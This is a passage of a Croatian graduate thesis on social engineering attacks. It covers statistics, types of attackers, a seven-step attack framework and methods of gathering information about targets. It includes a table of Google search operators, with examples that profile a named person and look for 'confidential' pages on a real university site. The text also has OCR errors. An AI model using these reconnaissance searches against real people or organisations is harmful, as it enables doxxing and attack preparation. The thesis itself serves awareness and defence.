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ANALIZA KIBERNETICKIH NAPADA TEMELJENIH NA METODAMA
SOCIJALNOG INZENJERINGA

SAZETAK

Unato¢ dostupnosti naprednih zasStitnih mehanizama, sigurnosni incidenti unutar
okruZzenja pojedinaca i organizacija u kontinuiranom su porastu. Danas najveca prijetnja u
svijetu kiberneticke sigurnosti, socijalni inzenjering, zasniva se na psiholoskom iskoriStavanju
ljudi kao najslabije karike sustava. U diplomskom radu napadi temeljeni na metodama
socijalnog inzenjeringa analizirani su kroz detaljan opis obiljezja, metoda napada i alata koji
se Kkoriste. U svrhu prikaza ucinkovitosti takvih napada, primjenom programskih alata
dostupnih u Kali Linux okruZenju provedene su simulacije dva Cesta kiberneticka napada,
simulacija napada kradom identiteta te eksploatacija ciljnog rac¢unala stvaranjem backdoor
pristupa. Temeljem rezultata provedenih simulacija predloZene su smjernice zastite od napada

socijalnog inZenjeringa, usmjerene na korisnika pojedinca te sigurnost i poslovanje poduzeca.

KLJUCNE RIJECT: socijalni inzenjering; kiberneticki kriminal; kompromitacija sustava;
napad kradom identiteta; zlonamjerni softver

CYBER ATTACK ANALYSIS BASED ON SOCIAL ENGINEERING
METHODS

SUMMARY

Despite the availability of advanced protection mechanisms, security incidents within
the environment of individuals and organizations are on the rise. Nowadays, the biggest
cybersecurity threat in the world, social engineering, is based on the psychological
exploitation of people as the weakest link in the system. In this graduate thesis, attacks based
on social engineering methods are analyzed through a detailed description of the
characteristics, attack methods and used tools. In order to demonstrate the effectiveness of

such attacks, using software tools available in the Kali Linux environment, simulations of two



common cyber attacks were performed. These are phishing attack and exploitation of the
targeted computer by creating a backdoor. Based on the results of the simulations, guidelines
for protection against social engineering attacks aimed at the individual user and the security

and operation of the company have been proposed.

KEY WORDS: social engineering; cybercrime; system compromise; phishing; malware
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1. UvOD

Koristenje racunala, pametnih telefona, ali 1 mnoStva drugih interoperabilnih, medusobno
povezanih pametnih uredaja postalo je sastavni dio ljudskog zivota. Razvojem
telekomunikacijskih tehnologija i potrebne infrastrukture te ostvarenjem globalne povezanosti
Internet mrezom, privatni korisnici, kao 1 velike 1 male korporacije, prihvatili su sveopc¢u

digitalizaciju i usvojili nove nacine komunikacije i poslovanja.

Kiberneticke prijetnje od samih Su pocetaka prisutne, a zlonamjerni korisnici raznim
metodama nastoje pristupiti privatnim, osjetljivim informacijama. Ljudski faktor nerijetko se
izdvaja kao najslabija sigurnosna karika svakog sustava, bilo da se radi o vlastitoj privatnosti
pojedinca ili sigurnosti velikih organizacija. Socijalni inzenjering, u kontekstu informacijske
sigurnosti, predstavlja psiholoSku manipulaciju ljudi u svrhu izvodenja Zeljenih radnji ili
otkrivanja povjerljivih podataka, a danas se smatra najveCom opasnosti u kibernetickom
svijetu. Napadi temeljeni na metodama socijalnog inZenjeringa zasnivaju se na iskoristavanju
ljudskih ranjivosti poput osjecaja, povjerenja ili navike kako bi se uvjerilo pojedinca da
zadovolji trazenu radnju, a danas najce$¢e podrazumijeva posjeéivanje zlonamjerne mrezne
stranice i unos povijerljivih podataka te preuzimanje i instalaciju maliciozne datoteke. Poznate
su raznovrsne metode socijalnog inZenjeringa kojima zlonamjerni korisnici ostvaruju
maliciozne ciljeve, a krecu se od onih fizicki temeljenih, do slozenijih koji se provode

posredstvom programskih alata.

Ovaj diplomski rad koncipiran je kao pregled i analiza danas poznatih kiberneti¢kih
napada temeljenih na metodama socijalnog inZenjeringa, a navedena problematika opisana je

kroz sedam cjelina:

Uvod

Pregled dosadasnjih istrazivanja

Obiljezja socijalnog inZenjeringa

Klasifikacija metoda napada i alata socijalnog inZenjeringa
Simulacija napada metodama socijalnog inZenjeringa
Analiza dobivenih rezultata i prijedlog smjernica zastite

Zakljucak

N o a s~ w D oe



U drugom poglavlju predstavljen je pregled dosada$njih istrazivanja podrucja napada
socijalnog inZenjeringa. Analizirani su relevantni radovi vezani uz problem socijalnog
inzenjeringa u okviru kiberneticke sigurnosti te je pruzen pregled aktualnih statistickih

podataka koji ukazuju na ozbiljnost obradivane tematike.

Tre¢im poglavljem rada objasnjena su i detaljno opisana obiljeZja socijalnog inZenjeringa.
Analizirane su klasifikacije napada i socijalnih inZenjera, kao i radni okvir (engl. framework)
na kojemu se napadi zasnivaju. Kroz sedam temeljnih koraka podrobno je opisan proces

provedbe napada socijalnim inzenjeringom.

U cetvrtom poglavlju iznesena je opsezna klasifikacija metoda napada socijalnog
inzenjeringa, kao i danas cesto koriStenih alata za pristup i prikupljanje informacija

posredstvom kojih se ostvaruje eksploatacija ciljnog sustava ili mreze.

U petom poglavlju rada prikazan je postupak provedbe danas ¢estih kiberneti¢kih napada
realiziranih u kontekstu socijalnog inzenjeringa. U svrhu demonstracije uéinkovitosti takvih
napada, primjenom alata dostupnih u Kali Linux okruzenju provedena je simulacija dva
napada, napad kradom identiteta slanjem elektronicke poste (engl. e-mail phishing) i kreiranje
1 instalacija zlonamjernog sadrzaja koji omogucuje pristup sustavu bez znanja korisnika (engl.

backdoor).

Danas, podaci pojedinca ili grupe glavna su meta veéine napada, a upravo tehnike
socijalnog inzenjeringa temelj su veéine zlonamjernih, kriminalnih radnji u modernom
svijetu. Uz prikaz opasnosti koje se kriju iza napada, u svrhu povecanja svijesti i edukacije
korisnika o potencijalnim sigurnosnim prijetnjama vazno je pruziti odgovarajué¢e smjernice. U
Sestom poglavlju rada analizirane su prethodno provedene simulacije i prikupljeni podaci te

pruZene smjernice zastite od napada socijalnog inZenjeringa.

Na kraju rada, u sedmom poglavlju, iznesen je jedinstven i subjektivan zakljuc¢ak temeljen

na provedenom istraZivanju.



2. PREGLED DOSADASNJIH ISTRAZIVANJA

Socijalni inZenjering u druStvu je prisutan od davnina, od razvoja prvih civilizacija, a u
kontekstu kibernetickih napada javlja se usporedno s razvojem informacijskih tehnologija.
Prvi bezazleni samorepliciraju¢i programi razvijeni ranih sedamdesetih godina proslog
stolje¢a brzo su evoluirali u programe maliciozne naravi, a posljednja dva desetljeca, od
pocetka masovne upotrebe racunala i Interneta, kiberneticki napadi temeljeni na metodama
socijalnog inZenjeringa postali su neizbjezni dio svakodnevice. Od vremena Elk Cloner-a,
virusa iz 1982. godine koji se prenosio putem diskete (engl. floppy disk), prekretnice u svijetu
kiberneticke sigurnosti — crva Melissa koji je 1999. godine inficirao tisu¢e racunala kroz
maliciozni Microsoft Word privitak phishing poste i crva iz 2000. godine imena ILOVEYOU,
provedena su brojna istrazivanja usmjerena na problematiku socijalnog inZenjeringa u
kontekstu kiberneticke sigurnosti. Unato¢ tome, broj napada temeljenih na metodama
socijalnog inZenjeringa u kontinuiranom je porastu, Sto predstavlja razlog za daljnja

istrazivanja u podrucju detekcije i prevencije povezanih sigurnosnih prijetnji.

Statisticki podaci prikupljeni kroz relevantna istrazivanja bitan su indikator
rasprostranjenosti odredenog problema. Prema posljednjim podacima americke tvrtke
PurpleSec, specijalizirane za kiberneticku sigurnost, 98% svih kibernetickih napada zasniva
se upravo na socijalnom inZenjeringu, a podrazumijevaju kradu identiteta, neovlasteni pristup
korisnickim ra¢unima, pristup financijskim kao i ostalim, izrazito povjerljivim podacima.
Statisticki podaci objedinjeni u okviru izvjeséa o trendovima o kibernetickoj sigurnosti u
2021. godini prikazuju zabrinjavajucu situaciju. Napadi socijalnim inzenjeringom porasli su
vise od 500% u odnosu na 2018. godinu, dok je 43% stru¢njaka za informacijske tehnologije
prijavilo napad nekom od metoda socijalnog inZenjeringa. Osim toga, provedena istraZivanja
ukazuju da 21% trenutnih ili bivSih zaposlenika koristi tehnike socijalnog inZenjeringa u

svrhu ostvarivanja financijske koristi, radi osvete, znatizelje ili zabave, [1].

Socijalni inZenjering jedna je od najizazovnijih prijetnji kiberneticke sigurnosti
suvremenog doba, a nagli porast broja zaposlenika koji rade udaljenim pristupom, od kuce,
stvorio je jedinstvene druStvene i ekonomske okolnosti. Zastita informacijske imovine
predstavlja veliki problem za organizacije, zbog ¢ega je klju¢na primjena sigurnosnih politika.
Autori D. Alharthi i A. C. Regan su anketirajuci zaposlenike razli¢itih sektora zapoSljavanja
otkrili da je u organizacije uklju¢eno samo 51% formalnih sigurnosnih politika socijalnog

inZenjeringa. Kako bi doprinijeli porastu tog postotka, u radu ,,Social Engineering InfoSec
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Policies* predlozili su prilagodljiv model koji se sastoji od 18 politika kategoriziranih u Cetiri

temeljne kategorije koje ¢ine ljudi, podaci, hardver i softver te mreze, [2].

U domeni informacijske sigurnosti ljudi predstavljaju najslabiju kariku, zbog cega je
socijalni inZenjering sastavni dio istrazivanja kibernetickih napada. U radu ,,Social
engineering: Revisiting end-user awareness and susceptibility to classic attack vectors® autor
Bakhshi T. ukazuje na opasnost napada socijalnog inzenjeringa isticu¢i kako je tesko
implementirati adekvatnu zaStitu obzirom da su napadi usmjereni na eksploataciju ljudskih
ranjivosti. Navodi kako je svijest krajnjih korisnika najjednostavniji, ali naju¢inkovitiji nacin
zastite te kroz rad utvrduje razinu osjetljivosti korisnika na napade socijalnim inZenjeringom.
Kroz provedeno istrazivanje, u kojemu veliki udio testiranih korisnika nije identificirao
napad, uocen je nedostatak svijesti korisnika i potreba za obukom i redovitim vjezbama o

informacijskoj sigurnosti, [3].

Autori Junger M., Montoya L. i Overink F.J. u radu ,,Priming and warnings are not
effective to prevent social engineering attacks™ iznose rezultate istrazivanja provedenog u
trgovackom centru u Nizozemskoj, u okviru kojega su posjetitelji, unato¢ upozorenjima,
podijelili svoje adrese elektroni¢ke poste, dali 9 od 18 znamenki vlastitog bankovnog ra¢una
te podijelili Sto su i u kojoj internetskoj trgovini kupili. Analizom je utvrdeno da je 79%
sudionika dalo adresu e-poste, 44% podatke o bankovnom racunu te da je oko 90% kupaca
podijelilo informacije o internetskoj kupovini. Istrazivanjem je zaklju¢eno kako upozorenja

nisu uéinkovita u sprje¢avanju ljudske sklonosti otkrivanju informacija na internetu, [4].

U radu ,,A literature survey on social engineering attacks: Phishing attack® autori Gupta
S., Singhal A. i Kapoor A. iznose pregled literature o napadima kradom identiteta (engl.
phishing) i tehnikama za otkrivanje. Ukazuju na utjecaj phishing napada na Zivote ljudi te
kroz temeljitu analizu definiraju njihove prednosti i nedostatke. Opisuju razne vrste napada i

razli¢ite tehnike za njihovu detekciju i prevenciju, [5].

Strukturiranim istrazivanjem socijalnog inzenjeringa autori Beckers K., Schosser D., Pape
S. 1 Schaab P. u radu ,,A Structured Comparison of Social Engineering Intelligence Gathering
Tools* prikazuju alate koji napada¢ima olakSavaju pronalazak informacija o Zzrtvama.
Analizom je utvrdena dostupnost velikog broja alata i znacajna koli¢ina informacija koje
pruzaju te je zakljuceno kako socijalni inzenjering predstavlja vecu opasnost nego ikada prije.
Osim toga, autori iznose i implikacije za potencijalne zrtve te predlazu savjete za nadlezna

sigurnosna tijela, [6].



Mimecast Limited, tvrtka za kiberneti¢ku sigurnost (engl. cybersecurity) specijalizirana za
upravljanje elektronickom postom u oblaku provela je istrazivanje nad tisucu ispitanika diljem
svijeta u vezi svjesnosti kibernetickih prijetnji i koristenju poslovnih uredaja u osobne svrhe.
Istrazivanjem je utvrdeno da 73% ispitanika koristi sluzbene uredaje u vlastite svrhe, od ¢ega
je 60% prijavilo povecanje ucestalosti od pocetka pandemije COVID-19. lako je gotovo dvije
tre¢ine ispitanika proSlo cybersecurity obuku i 98% njih prijavilo svjesnost potencijalne
zaraze uredaja otvaranjem e-mail poveznica, drustvenih mreza i drugih mreznih stranica,
gotovo polovica ispitanika priznala je otvaranje sumnjive e-poste, a jednak udio njih je

priznao neprijavljivanje sumnjivog sadrzaja nadleZnim sigurnosnim timovima, [7].

Prema drugom provedenom istrazivanju tvrtke Mimecast Limited, 90% zdravstvenih
organizacija bilo je meta e-mail napada u razdoblju izmedu 2019. i 2020. godine. Napadi su
prvenstveno temeljeni na malicioznim URL? poveznicama i phishing-u, pri ¢emu je 72%

organizacija prijavilo pad sustava te gubitak podataka, produktivnosti i financijskih sredstava,

[8].

Agencija Europske unije za kibersigurnost, ENISA, stru¢ni je centar za kiberneticku
sigurnost u Europi. Pomaze Europskoj Uniji i njezinim drzavama ¢lanicama da se bolje
opreme i pripreme za sprjeCavanje, otkrivanje i odgovor na probleme informacijske
sigurnosti, [9]. 2020. godine objavila je publikaciju pod nazivom ,,ENISA Threat Landscape —
2020, u kojoj kroz 22 razlicita izvjeSc¢a navodi velike promjene u digitalnom okruZenju
uslijed pandemije COVID-19, [10]. Prema posljednjim objavljenim podacima vezanim za
phishing, glavne mete napada bile su usluge elektronicke poste i software-as-a-service (SaaS)
platforme, pri ¢emu su usluge Microsoft 365 bile najces¢i izbor napadaca. Vise od dvije
tre¢ine, 74% phishing stranica danas se temelji na HyperText Transfer Protocol Secure
(HTTPS) protokolu, $to je znacajni porast u odnosu na 32% samo dvije godine ranije. Osim
phishing napada povezanih s pandemijom, phishing kao usluga (engl. Phishing-as-a-Service;
PhaaS) predstavlja novu, aktualnu prijetnju. PhaaS uslugama omogucena je jednostavna
provedba phishing napada i manje tehnicki vjestim pojedincima, kroz plac¢anje usluge ili
preuzimanje nekog od brojnih dostupnih alata. 88% organizacija diljem svijeta bilo je metom
spear phishing napada, a 86% njih suocilo se s Business E-mail Compromise (BEC)
napadima. Osim toga, prijavljeno je da je 33% sve e-poste sadrzavalo rije¢ ,,payment” kao

predmet poste, a 47% svih malicioznih privitaka bile su Microsoft Office datoteke, [11].

L URL (Uniform Resource Locator) — lokacija web stranice ili datoteke na internetu.



Tablica 1. prikazuje rang listu i trend kretanja ucestalosti kiberneti¢kih napada u razdoblju
izmedu 2019. 1 2020. godine.

Tablica 1. Top 15 kibernetic¢kih napada u periodu 2019. - 2020.

- = - - Procijenjeni Promjena
Najvece prijetnje 2019. - 2020.

1. Zlonamijerni programi (engl. Malware ) —_— —
2. MreZno temeljeni napadi (engl. Web-based Attacks) —_— A
3. Napad kradom identiteta (engl. Phishing ) ‘ A
q Napadi mreZnim aplikacijama v
(engl. Web application attacks )
5. NezZeljena posta (engl. Spam ) A 4 A
6. Napad uskradivanja usluge (engl. Denial of Service) v v
7. Krada identiteta (engl. /dentity theft) A A
8. Povreda osobnih podataka (engl. Data breaches) —_— —
9. Unutarnje prijetnje (engl. Insider threat) A —_—
10. Botnet mreZe (engl. Botnets) \ 4 A 4
an Fizicka manipulacija, Steta, krada i gubitak v
" (engl. Physical manipulation, damage, theft and loss )
12. Curenje informacija (engl. Infermation leakage ) A v
13. Ucjenjivagki softver (engl. Ransomware ) A A
14. Kiberneti¢ka 3pijunaZa (engl. Cyberespionage) \ 4 A
15. Neautorizirano rudarenje kriptovaluta (engl. Cryptojacking ) A 4 v

Legenda: ¥ Pad, = Kontinuitet, A Rast

Izvor: [13]

Prema posljednjim objavljenim podacima vezanim za zlonamjerne programe (engl.
malware), utvrden je porast napada usmjerenih na poduzeéa od 13%, a novu opasnost
predstavljaju  Malware-as-a-Service (MaaS) usluge, koje podrazumijevaju prodaju
zlonamjernih programa te Fileless malware-i, zlonamjerni programi koji ne sadrze izvrSnu
datoteku 1 mogu izbjec¢i uobicajene sigurnosne filtere. Najces¢i zlonamjerni program tijekom
perioda istraZivanja bio je Emotet, prvotno bankovni trojanski konj koji je kasnije evoluirao u
botnet?. 67% malicioznih programa proslijedeno je putem kriptirane HTTPS veze, a prijavljen
je 1 porast mobilnih aplikacija razvijenih za kradu podataka, vjerodajnica i financijskih

sredstava od 50% u odnosu na podatke prethodnog izvjestaja, [12].

2 Botnet — mreZa kompromitiranih ra¢unala pod kontrolom jednog (ili nekolicine) hakera, a koriste se za
izvodenje raznih oblika napada; naziv se koristi i za zlonamjerno oblikovane izvr$ne datoteke koje sluze za
dobivanje kontrole nad ra¢unalom i njegovo uklju¢ivanje u botnet mrezu.



3. OBILJEZJA SOCIJALNOG INZENJERINGA

Socijalni inZenjering, sintagmu kroz godine opisanu na mnogo razli¢itih na¢ina, teSko je
definirati jednom, konkretnom definicijom. Christopher Hadnagy, glavni razvojni inzenjer
prvog radnog okvira za socijalni inzenjering, u knjizi ,,Social Engineering: The Art of Human
Hacking* socijalni inZenjering opisuje kao ¢in manipulacije osobom da poduzme radnju koja
moze, ali i ne mora biti u njezinom najboljem interesu, a mozZe ukljucivati pridobivanje

informacija, stjecanje pristupa te postizanje da cilj napada poduzme odredene radnje, [14].

Socijalni inzenjering jedna je od rijetkih vrsta napada koja se moze klasificirati u
kategoriju netehnickih napada, ali nerijetko se istodobno kombiniraju upravo s napadima
tehni¢ke prirode. U sustini predstavlja metodu zadobivanja pristupa sustavima, odnosno
podacima kroz iskoriStavanje ljudske psihologije. Ljude je lakSe prevariti od racunalnih
sustava 1 mreza, zbog Cega je iskoristavanje covjeka kao najslabijeg faktora svake ustanove ili

organizacije temeljna karakteristika socijalnog inzenjeringa, [15].

Socijalni inzenjeri kreativni su, lukavi i pametni u svom nacinu razmisljanja, a kroz
razli¢ite tehnike manipulacije ostvaruju zeljene ciljeve. Dvije su glavne kategorije pod koje

napadi socijalnim inZenjeringom mogu biti svrstani, [16]:

e Racunalna ili tehnoloska obmana — tehnoloski zasnovan pristup kojim se nastoji
zavarati korisnika da povjeruje da komunicira sa stvarnim racunalnim sustavom i time
pruzi povjerljive podatke.

e Ljudska prijevara — pristup zasnovan na obmani kroz iskoriStavanje neznanja, odnosno
needuciranosti Zrtve te prirodne sklonosti ¢ovjeka da bude od pomoéi i svidi se drugim

osobama.

Socijalni inzenjering moze biti upotrebljavan u mnogim aspektima Zivota, a sve primjene
tehnika socijalnog inZenjeringa nisu nuzno zlonamjerne ili lose, ve¢ mogu biti koristene i za
dobrobit drugih. Vazno je poznavati razli¢ite tipove socijalnih inzenjera kako bi bilo moguce
pravilno postupati s njima. Socijalne inzenjere moguce je klasificirati prema mnogobrojnim

¢imbenicima, a opéenito prema tipovima mogu se podijeliti na, [17]:

e Hakere — osobe koje odlicno poznaju racunala, softver i hardver, racunalne mreze i
programiranje. Smatraju se najpopularnijom i najistaknutijom vrstom socijalnih inZenjera, a

upravo kombinacijom socijalnih i hardverskih vjestina vrSe napade diljem svijeta. Napadi



na mreze i raCunalne programe danas Cine sastavni dio vjeStina naprednih socijalnih
inzenjera.

Penetracijske testere — vjeste pojedince koji koriste napredne tehnike u svrhu penetracije u
ciljne sigurnosne sustave, prilikom c¢ega ispituju ranjivosti sustava ili mogucnosti
neautoriziranog pristupa sustavu. Pri tome Kkoriste tehnike socijalnog inZenjeringa kako bi
povecali prava pristupa sustavu, [18]. Penetracijski testeri u¢e i koriste se vjeStinama
zlonamjernih hakera kako bi pomogli osigurati sigurnost klijenata, a informacije nikada ne
koriste za osobnu korist ili na $tetu drugoga, [14].

Nezadovoljne zaposlenike — nezadovoljne c¢lanove organizacija koji Cesto ulaze u
kontradiktorni odnos s poslodavcem te izvrSavaju zlonamjerna djela poput vandalizma i
narusavanja sigurnosti te drugih prijestupa, [14]. Takve osobe mogu iskoristiti socijalni
inZenjering kako bi zadobili pristup zabranjenim podacima ili izveli neke nedopustene
radnje, [18].

Spijune — pojedince koji koriste vjestine socijalnog inZenjeringa kao dio svog Zivota.
Smatraju se strunjacima prijevare i zavaravanja. Ufeni su raznim metodama obmane
zrtava u cilju uspjesne izgradnje vjerodostojnosti i pridobivanja zeljenih informacija.
Kradljivce identiteta — krada identiteta odnosi se na koriStenje podataka pojedinca, poput
imena, adrese, brojeva bankovnih racuna, broja socijalnog osiguranja i datuma rodenja bez
znanja vlasnika. Kradljivci identiteta izvode brojne vjestine socijalnog inzenjeringa i vrlo
su kreativni u zavjerama koje provode, koje se krecu od neovlaStenog nosenja uniforme S
ciljem laznog predstavljanja do sloZenijih napada.

Vladine sluzbenike — ¢esto se zanemaruju kao socijalni inZenjeri, no unato¢ tome vjesti su u
kontroli ljudi kojima upravljaju i porukama koje prenose. Vecina vlada koristi autoritet,
drustveni dokaz i oskudicu kako bi osigurali kontrolu nad svojim ciljevima. No, ova vrsta
socijalnog inZenjeringa nije uvijek negativna jer su neke od poruka koje vlade prenose
usmjerene za dobrobit ljudi.

Prodajno osoblje — dobar prodava¢ ne manipulira ljudima, ali koristi vjeStine kako bi
saznao potrebe ljudi i utvrdio moze li ih ispuniti. Umijece prodaje zahtijeva razne vjestine
socijalnog inzenjeringa, ukljucuju¢i prikupljanje informacija, psiholoSka nacela i

sposobnost utjecanja na drugu osobu.



Prevarante — poznati i kao ,,umjetnici prijevare* (engl. scam artists), prevaranti su pojedinci
vjesti u uspostavljanju situacija neodoljivih za metu prijevare. Privlace ljude Zeljne brze i
jednostavne zarade prilikom ¢ega ostvaruju vlastitu korist.

Lijecnike, psihologe, odvjetnike — ova skupina ljudi takoder provodi metode socijalnog
inzenjeringa. Iako se ¢ini da se ljudi u navedenim karijerama ne uklapaju u istu kategoriju
kao 1 drugi socijalni inzenjeri, i oni se koriste tehnikama iznudivanja, psiholoskim
principima, ispitivanjem i odgovaraju¢im taktikama razgovora za pridobivanje i
manipuliranje klijentima ili ciljevima, [14].

Obic¢ne ljude — svakodnevno koriste neke od jednostavnih, osnovnih metoda socijalnog
inzenjeringa U svrhu postizanja zeljenog cilja, ali najces¢e ne dovode do ozbiljnijih

posljedica, [18].

Svaki uspjeSan napad temeljen na metodama socijalnog inzenjeringa zasniva se na
koracima radnog okvira socijalnog inzenjeringa. Radni okvir prikazan na slici 1. prikazuje
sedam diskretnih koraka koji vode socijalnog inzenjera kroz provedbu napada, od prikupljanja

podataka i odabira strategije napada do njegove studiozne provedbe.

NAPAD

(engl. Attack)

- -
-"-

Slika 1. Radni okvir socijalnog inZenjeringa (engl. Social Engineering Framework)
Izvor: [19]




3.1. Odabir zrtve napada i preliminarno prikupljanje podataka

Za razliku od mnogih metoda napada na ljude, napad socijalnim inZenjeringom obi¢no je
usmjeren ka to¢no definiranom cilju. Socijalni inZenjer pomno bira metu kako bi mogao
provesti savrSeni napad, a odabir zrtve zapocinje preliminarnim prikupljanjem informacija.
Napadi su obi¢no financijske naravi, a Zrtve napada biraju prema bogatstvu koje posjeduju ili
lako¢e kojom ih je moguce prevariti. Evaluacijom potencijalne koristi od napada, socijalni

inzenjeri biraju metu temeljem prethodne analize preliminarno prikupljenih podataka.

Osim zbog financijskih sredstava, banke kao riznice osjetljivin podataka dragocjene su
socijalnim inzenjerima 1 nerijetko su na meti napadaCa, i to danas prvenstveno zbog
mogucnosti internetskog bankarstva. Informaticko osoblje i osoblje financijskog odjela, kao i
izvr$ni direktori ciljani su upravo zbog razine pristupa i kontrole koju imaju nad osjetljivim
organizacijskim podacima i internim komunikacijama. U slucaju pristupa takvim

informacijama, napadaci su U moguénosti traziti otkupninu ili ih prodati na crnom trzistu.

S druge strane, zbog lakoce provedbe napada, stare organizacije, kao i starije osobe
opcenito takoder su redovne mete napada. Slucajevi uporabe neadekvatnih, zastarjelih
informatic¢kih sustava u poduzeéima jo$ uvijek su Cesti i predstavljaju veliki sigurnosni
problem koji socijalni inZenjeri rado eksploatiraju. Stari i needucirani ljudi lake su mete zbog
Cega nerijetko postaju zrtvama raznih malverzacija. Predstavljanjem u ulozi medicinskog
osoblja napadaci lako pridobivaju Zeljene informacije, trguju laznim lijekovima 1 proizvodima
I iskoriStavaju naivnost starih i nemocnih osoba kroz razne oblike financijskih prijevara.
Takoder Cesta praksa socijalnih inZenjera je i iskoriStavanje nesretnih sluCajeva poput
ekoloskih katastrofa, prilikom kojih pokre¢u lazne akcije prikupljanja novéanih sredstava i

time nasamaruju dobre, ali naivne ljude, [19].

3.2. Prikupljanje podataka

lako manje izazovno u odnosu na doba prije masovne uporabe druStvenih mreza i
Interneta opéenito, prikupljanje podataka najtrajniji i najzahtjevniji je korak ciklusa socijalnog
inzenjeringa. Nastavlja se na proces preliminarnog prikupljanja i evaluacije poznatih podataka
o zrtvi, a moze potrajati od nekoliko sati do nekoliko godina. Informacije se rijetko
prikupljaju odjednom, s jednog izvora, ve¢ je uobicajeno prikupljanje manjih dijelova

podataka s ciljem njihovog objedinjavanja i profiliranja Zrtve. Socijalni inzenjer mora biti
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dobro upoznat s vrstom podataka koje trazi i programskim alatima koji mu u tome mogu

pomoci kako bi bio u moguénosti informacije od interesa prikupiti bez tudeg opaZanja.

Metode prikupljanja podataka mogu se Kklasificirati u dvije temeljne kategorije, [19]:

e Tehnic¢ke — racunalno potpomognute tehnike prikupljanja informacija.
e Netehnicke — fizi¢ki temeljene tehnike prikupljanja podataka, izvode se iskljucivo

uzivo, na mjestu dogadaja.

3.2.1. Tehni¢ke metode prikupljanja podataka

Danas se razvijaju mnogi alati u svrhu prikupljanja informacija za izvodenje napada
socijalnim inzenjeringom. Razne tehni¢ke metode dostupne su za prikupljanje informacija, od
kojih neke zahtijevaju visokotehnolo§ku opremu i napredno poznavanje i sluzenje racunalima,
dok su druge jednostavnije, lako dostupne i omogucuju provodenje socijalnog inZenjeringa i
manje naprednim Kkorisnicima. U pripremanju za penetracijski napad socijalni inzenjeri sluze
se viSestrukim metodama prikupljanja informacija, a iz prikupljenih podataka sintetiziraju
odgovarajuci vektor napada. Neke od najpopularnijih tehni¢kih metoda prikupljanja podataka

objasnjene su u nastavku rada.

Pretragom osobnih i korporativnih mreznih stranica socijalni inzenjer u moguénosti je
profilirati zrtvu napada, saznati ¢ime se pojedinac ili organizacija bavi i koje proizvode i
usluge nudi. Izbor upotrebljavanih rije¢i i fraza moze pomo¢i u profiliranju lozinki, a sadrzane
informacije o fizi¢ckim lokacijama, biografijama osoba i kontakt podacima poput telefonskog

broja i adrese elektronicke poste uvelike olakSavaju provodenje napada, [14], [20].

Pretragom racuna na druStvenim mreZama mogu se otkriti tragovi ili mogu¢i odgovori na
sigurnosna pitanja, fotografije zaposlenika s identifikacijskim oznakama ili povezati naziv
radnog mjesta s hobijima i interesima pojedinca, prvenstveno u svrhu krade identiteta.
Platforme drustvenih mreza kao $to su Facebook, Instagram, Twitter i LinkedIn omogucuju
ljudima da se povezu, no istodobno pruzaju i socijalnim inZenjerima moguénost da otkriju sto
se meti napada svida, podatke o njihovoj obitelji, djeci i hobijima i brojne druge informacije,
[20].

Koristenjem trazilica (engl. Search Engine), kojima je indeksiran veliki broj mreznih
stranica i drugih resursa, moguce je razotkriti sigurnosne slabosti i povjerljive podatke.
Socijalni inzenjeri trazilicama se mogu sluziti za anonimne napade, jednostavno pronalazenje

zrtve i stjecanje relevantnog znanja koje im moze omoguciti daljnju eksploataciju. Osim toga,
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trazilice socijalnim inZenjerima mogu pomoc¢i da izbjegnu vlastitu identifikaciju i ostanu

anonimni i time izbjegnu pravne posljedice svojih postupaka, [21]. Google, dominantna

trazilica, klju¢ni je alat socijalnih inzenjera za otkrivanje Zeljenih podataka na Internetu, a

dobro poznavanje pojmova i fraza za pretrazivanje neophodno je za brzu i preciznu pretragu

ciljanog sadrzaja.

U tablici 2. prikazani su primjeri cesto koristenih operatora za naprednu pretragu Google

trazilicom i prikupljanje informacija o potencijalnoj meti napada.

Tablica 2. Cesto koristeni operatori za preciziranje web-pretraZivanja Google trazilicom

Operator pretrazivanja

Primjer

Opis pretrage

"traZeniPojam"

"lvan Horvat"

Pretraga toé¢nog podudaranja.

site:website.com

Ograni¢avanje pretrage na rezultate

: sadriane na odredenoj mreZnoj stranici. :
i U navedenom primjeru kao rezultat pretrage :

vratit ce se mrezna stranica Fakulteta
Prometnih Znanosti u Zagrebu.

: .
......................................................................................................................................................................

PronalaZenje stranice s odredenom
rijeci (ili rije€ima) iz naslova.
U navedenom primjeru vratit ¢e se svi

¢ rezultati koji sadrZe "fpz" u naslovnoj oznaci. :

PronalaZenje stranice s odredenom
rijeci (ili rije¢ima) u URL-u.
U navedenom primjeru vratit ¢e se svi
rezultati koji sadrze "fpz" u URL-u.

...................................................................................................................................................................

site:website.com
"trazeniPojam"

PronalaZenje trazenog pojma na
specificiranoj mreznoj stranici.
U navedenom primjeru vratit ¢e se svi
rezultati koji sadrze "lvan Horvat" na
mreznoj stranici Fakulteta Prometnih
Znanosti u Zagrebu.

"traZeniPojam"
intitle:trazeniParametri

i "lvan Horvat" intitle:"telefon” "email”

"adresa" "zivotopis"

PronalaZenje rezultata o trazenom
pojmu koji u naslovu sadrze
zadane parametre pretrage.

U navedenom primjeru vratit ce se svi
rezultati o lvanu Horvatu koji u naslovu
sadrze parametar "telefon”, "email",
"adresa", "Zivotopis".
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PronalaZenje svih naslova sadrzanih
¢ : na specificiranoj stranici prema
intitle:traZeniParametri : intitle: "povjerljivo" "osobno” : definiranim parametrima.
site:website.com site: fpz.unizg.hr Navedeni primjer koristi se za dohvat
: : podataka, ne o odredenoj osobi,
vecé o organizaciji.
PronalaZenje svih datoteka
prema definiranoj ekstenziji
(npr.: pdf, doc, xls, txt) sadrzanih
site:fpz.unizg.hr : na specificiranoj stranici.
filetype:pdf U navedenom primjeru rezultat pretrage
su svi PDF dokumenti sadrZzani na
mreznoj stranici Fakulteta Prometnih
Znanosti u Zagrebu.

Izvor: [14], [19], [22]

site:website.com
filetype:ekstenzijaDatoteke

Koristenje trazilice Pipl omogucuje olakSanu pretragu ljudi. Pipl arhivira podatke o
ljudima, pohranjuje informacije poput imena osoba, fizicke adrese i adrese elektronicke poste,
raCuna na druStvenim mrezama i telefonskih brojeva. Pladena verzija usluge pruza i
prikupljanje podataka o rodbini trazene osobe, $to socijalnim inzenjerima omogucuje

jednostavan pristup velikoj koli¢ini informacija, [19].

Telefonskim razgovorom socijalni inzenjeri u moguénosti su izvoditi socijalni inzenjering
kroz izravnu komunikaciju s ciljem napada. Koristenjem odredenog tona i pomno odabranim
rijeéima navode metu na otkrivanje osjetljivih podataka. Cesti su slucajevi laznog
predstavljanja i prijetnji starijoj populaciji, a pronalaskom bankovnih ili organizacijskih
podataka, napadaci pozivaju zrtvu i lazno se predstavljaju kao autoritativne osobe u tim
